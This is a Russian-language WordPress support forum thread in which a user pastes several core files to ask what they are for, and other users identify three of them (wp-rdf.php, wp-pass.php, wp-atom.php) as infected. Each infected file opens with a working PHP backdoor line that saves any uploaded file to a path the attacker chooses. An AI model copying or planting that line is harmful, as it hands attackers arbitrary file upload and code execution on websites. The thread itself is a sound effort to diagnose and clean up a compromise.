wp-rdf.php что это такое?
-
После очередного обновления wordpress, появился этот файл.
Для чего он вообще нужен?
-
содержимое его тут приведите в тегах code.
<?php if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;} /** * Redirects to the RDF feed * This file is deprecated and only exists for backwards compatibility * * @package WordPress */ require( './wp-load.php' ); wp_redirect( get_bloginfo( 'rdf_url' ), 301 ); ?>короче это вирусня — удаляйте на фиг.
Спасибо, удалил!
А не скажите что за файл wp-links-opml.php ?
Вот содержимое:<?php /** * Outputs the OPML XML format for getting the links defined in the link * administration. This can be used to export links from one blog over to * another. Links aren't exported by the WordPress export, so this file handles * that. * * This file is not added by default to WordPress theme pages when outputting * feed links. It will have to be added manually for browsers and users to pick * up that this file exists. * * @package WordPress */ require_once( dirname( __FILE__ ) . '/wp-load.php' ); header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true); $link_cat = ''; if ( !empty($_GET['link_cat']) ) { $link_cat = $_GET['link_cat']; if ( !in_array($link_cat, array('all', '0')) ) $link_cat = absint( (string)urldecode($link_cat) ); } echo '<?xml version="1.0"?'.">\n"; ?> <opml version="1.0"> <head> <title><?php printf( __('Links for %s'), esc_attr(get_bloginfo('name', 'display')) ); ?></title> <dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated> <?php /** * Fires in the OPML header. * * @since 3.0.0 */ do_action( 'opml_head' ); ?> </head> <body> <?php if ( empty($link_cat) ) $cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0)); else $cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat)); foreach ( (array)$cats as $cat ) : /** * Filter the OPML outline link category name. * * @since 2.2.0 * * @param string $catname The OPML outline category name. */ $catname = apply_filters( 'link_category', $cat->name ); ?> <outline type="category" title="<?php echo esc_attr($catname); ?>"> <?php $bookmarks = get_bookmarks(array("category" => $cat->term_id)); foreach ( (array)$bookmarks as $bookmark ) : /** * Filter the OPML outline link title text. * * @since 2.2.0 * * @param string $title The OPML outline title text. */ $title = apply_filters( 'link_title', $bookmark->link_name ); ?> <outline text="<?php echo esc_attr($title); ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" /> <?php endforeach; // $bookmarks ?> </outline> <?php endforeach; // $cats ?> </body> </opml>с ним все в порядке.
Файл
wp-rdf.phpраньше использовался для вывода ленты новостей в формате RDF. Он был убран в версии 3.3 вместе с некоторыми другими файлами. Можно смело удалять.Файл
wp-links-opml.phpотносится к менеджеру ссылок (который был отключён в версии 3.5 и на большинстве сайтов с тех пор не используется), он предназачен для экспорта ссылок в формате XML. Если не нужен, можно тоже удалить.Sergey, тут речь о том, что этот wp-rdf.php изменен и заражен. если судить по первой строчке, которая в гугле однозначно ведет на топики о вирусах.
Я отвечал на вопрос, для чего он вообще был раньше нужен 🙂
Спасибо за ответы!
С Вашего позволения задам еще три вопроса, так как в интернете нужный ответ не нашел.1) Что за файл wp-trackback.php, нужно ли вообще если на сайте комментарий не используется?
<?php /** * Handle Trackbacks and Pingbacks Sent to WordPress * * @since 0.71 * * @package WordPress * @subpackage Trackbacks */ if (empty($wp)) { require_once( dirname( __FILE__ ) . '/wp-load.php' ); wp( array( 'tb' => '1' ) ); } /** * Response to a trackback. * * Responds with an error or success XML message. * * @since 0.71 * * @param mixed $error Whether there was an error. * Default '0'. Accepts '0' or '1', true or false. * @param string $error_message Error message if an error occurred. */ function trackback_response($error = 0, $error_message = '') { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ($error) { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>1</error>\n"; echo "<message>$error_message</message>\n"; echo "</response>"; die(); } else { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>0</error>\n"; echo "</response>"; } } // Trackback is done by a POST. $request_array = 'HTTP_POST_VARS'; if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) { $tb_id = explode('/', $_SERVER['REQUEST_URI']); $tb_id = intval( $tb_id[ count($tb_id) - 1 ] ); } $tb_url = isset($_POST['url']) ? $_POST['url'] : ''; $charset = isset($_POST['charset']) ? $_POST['charset'] : ''; // These three are stripslashed here so they can be properly escaped after mb_convert_encoding(). $title = isset($_POST['title']) ? wp_unslash($_POST['title']) : ''; $excerpt = isset($_POST['excerpt']) ? wp_unslash($_POST['excerpt']) : ''; $blog_name = isset($_POST['blog_name']) ? wp_unslash($_POST['blog_name']) : ''; if ($charset) $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) ); else $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS'; // No valid uses for UTF-7. if ( false !== strpos($charset, 'UTF-7') ) die; // For international trackbacks. if ( function_exists('mb_convert_encoding') ) { $title = mb_convert_encoding($title, get_option('blog_charset'), $charset); $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset); $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset); } // Now that mb_convert_encoding() has been given a swing, we need to escape these three. $title = wp_slash($title); $excerpt = wp_slash($excerpt); $blog_name = wp_slash($blog_name); if ( is_single() || is_page() ) $tb_id = $posts[0]->ID; if ( !isset($tb_id) || !intval( $tb_id ) ) trackback_response(1, 'I really need an ID for this to work.'); if (empty($title) && empty($tb_url) && empty($blog_name)) { // If it doesn't look like a trackback at all. wp_redirect(get_permalink($tb_id)); exit; } if ( !empty($tb_url) && !empty($title) ) { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ( !pings_open($tb_id) ) trackback_response(1, 'Sorry, trackbacks are closed for this item.'); $title = wp_html_excerpt( $title, 250, '…' ); $excerpt = wp_html_excerpt( $excerpt, 252, '…' ); $comment_post_ID = (int) $tb_id; $comment_author = $blog_name; $comment_author_email = ''; $comment_author_url = $tb_url; $comment_content = "<strong>$title</strong>\n\n$excerpt"; $comment_type = 'trackback'; $dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) ); if ( $dupe ) trackback_response(1, 'We already have a ping from that URL for this post.'); $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type'); wp_new_comment($commentdata); $trackback_id = $wpdb->insert_id; /** * Fires after a trackback is added to a post. * * @since 1.2.0 * * @param int $trackback_id Trackback ID. */ do_action( 'trackback_post', $trackback_id ); trackback_response( 0 ); }2) wp-pass.php можно убрать?
<?php if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;} /** * Creates the password cookie and redirects back to where the * visitor was before. * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require( dirname(__FILE__) . '/wp-load.php'); if ( get_magic_quotes_gpc() ) $_POST['post_password'] = stripslashes($_POST['post_password']); // 10 days setcookie('wp-postpass_' . COOKIEHASH, $_POST['post_password'], time() + 864000, COOKIEPATH); wp_safe_redirect(wp_get_referer()); ?>3) wp-atom.php тоже с каким то редиректом, могу удалить?
<?php if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;} /** * Redirects to the Atom feed * This file is deprecated and only exists for backwards compatibility * * @package WordPress */ require( './wp-load.php' ); wp_redirect( get_bloginfo( 'atom_url' ), 301 ); ?>Пока все, заранее спасибо!
слушайте — судя по первым строчкам в этих файлах — они заражены. и вероятно у вас на сайте еще туева куча файлов движка таким же образом заражена. в данный момент вам надо переустановить wordpress (кнопкой переустановить в консоли), потом пройтись антивирусом и найти где еще эти строчки засели (может в плагинах и темах).
Спасибо большое!
Тема «wp-rdf.php что это такое?» закрыта для новых ответов.